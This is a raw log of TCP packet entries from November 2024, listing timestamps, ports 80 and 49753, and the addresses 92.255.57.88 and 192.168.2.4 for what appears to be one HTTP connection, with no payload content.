Nov 26, 2024 00:07:46.048470020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.048508883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.048743010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.048784018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.049243927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.049299955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.049339056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.049375057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.050041914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.050086975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.050157070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.050194025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.050929070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.050981045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.051083088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.051125050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.051683903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.051738977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.051821947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.051871061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.052470922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.052524090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.052822113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.052870035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.053267956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.053314924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.053487062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.053530931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.054065943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.054115057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.054263115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.054307938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.054869890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.054919958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.055174112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.055217028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.055665016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.055716038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.055843115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.055886030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.056488037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.056539059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.056596994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.056638956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.057332039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.057405949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.057739973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.057786942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.058094025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.058131933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.058204889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.058243036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.059015989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.059056044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.059092999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.059128046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.059715033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.059747934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.059773922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.059799910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.060512066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.060559034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.060626030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.060662985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.061475039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.061517000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.061583042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.061621904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.062144995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.062186003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.062232018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.062268019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.062938929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.062988997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.063003063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.063040018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.063790083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.063836098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.063905001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.063942909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.064642906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.064687014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.064753056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.064795017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.065372944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.065413952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.065459013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.065500021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.066627026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.066679001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.066718102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.066761017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.066977024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.067032099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.067070961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.067110062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.067775965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.067820072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.067883968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.067919970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.068595886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.068640947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.068720102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.068753958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.069444895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.069493055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.069518089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.069556952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.070214987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.070261955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.070308924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.070308924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.071016073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.071062088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.071079016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.071115017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.071813107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.071854115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.071934938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.071974039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.072623014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.072662115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.072765112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.072807074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.073471069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.073508978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.073585987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.073636055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.074254990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.074295998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.074332952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.074368000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.075037003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.075079918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.075151920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.075195074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.075864077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.075939894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.075973034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.076010942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.076653957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.076699972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.076771975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.076812983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.077464104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.077510118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.077588081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.077629089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.078264952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.078314066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.078373909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.078418016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.079065084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.079109907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.079184055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.079226017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.079910040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.079957008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.079986095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.080018044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.080681086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.080745935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.080784082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.080820084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.081511974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.081557989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.081623077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.081662893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.250082016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.250130892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.250240088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.250240088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.250368118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.250408888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.250461102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.250499010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.251209021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.251257896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.251389980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.251431942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.252008915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.252053976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.252099991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.252140999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.252820015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.252868891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.252969027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.253010988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.253626108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.253670931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.253732920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.253774881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.254417896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.254462004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.254554987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.254597902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.255251884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.255295992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.255398989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.255441904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.256025076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.256071091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.256120920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.256161928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.256874084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.256918907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.256954908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.257002115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.257646084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.257689953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.257752895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.257796049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.258450031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.258497000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.258537054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.258574963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.259248018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.259294033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.259382010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.259423971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.260107040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.260176897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.260219097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.260262966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.260874033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.260921001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.260957003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.260997057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.261692047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.261738062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.261800051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.261843920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.262475967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.262522936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.262665987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.262710094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.263297081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.263345003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.263417959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.263453960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.264136076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.264182091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.264352083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.264394999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.264921904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.264966011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.265197992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.265242100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.265728951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.265773058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.266102076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.266145945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.266554117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.266606092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.266763926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.266807079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.267352104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.267396927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.267748117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.267807007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.268146038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.268189907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.268435955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.268481016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.268954992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.269006968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.269068956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.269112110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.269757032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.269804001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.269850016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.269895077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.270558119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.270622015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.270721912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.270764112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.271358013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.271403074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.271434069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.271477938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.272203922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.272249937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.272290945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.272330999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.272979975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.273027897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.273080111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.273117065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.273807049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.273864985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.273956060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.273998976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.274597883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.274646997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.274715900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.274759054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.275387049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.275434017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.275464058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.275502920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.276195049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.276241064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.276320934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.276362896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.277004957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.277050018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.277089119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.277123928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.277806044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.277849913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.277924061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.277965069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.278624058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.278669119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.278728962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.278784037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.279433012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.279474020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.279566050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.279608965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.280265093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.280313015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.280405045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.280450106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.281045914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.281111956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.281138897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.281189919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.281883955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.281930923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.281936884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.281970024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.282670021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.282720089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.282773972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.282810926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.283482075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.283531904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.283596039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.283638954 CET	49753	80	192.168.2.4	92.255.57.88
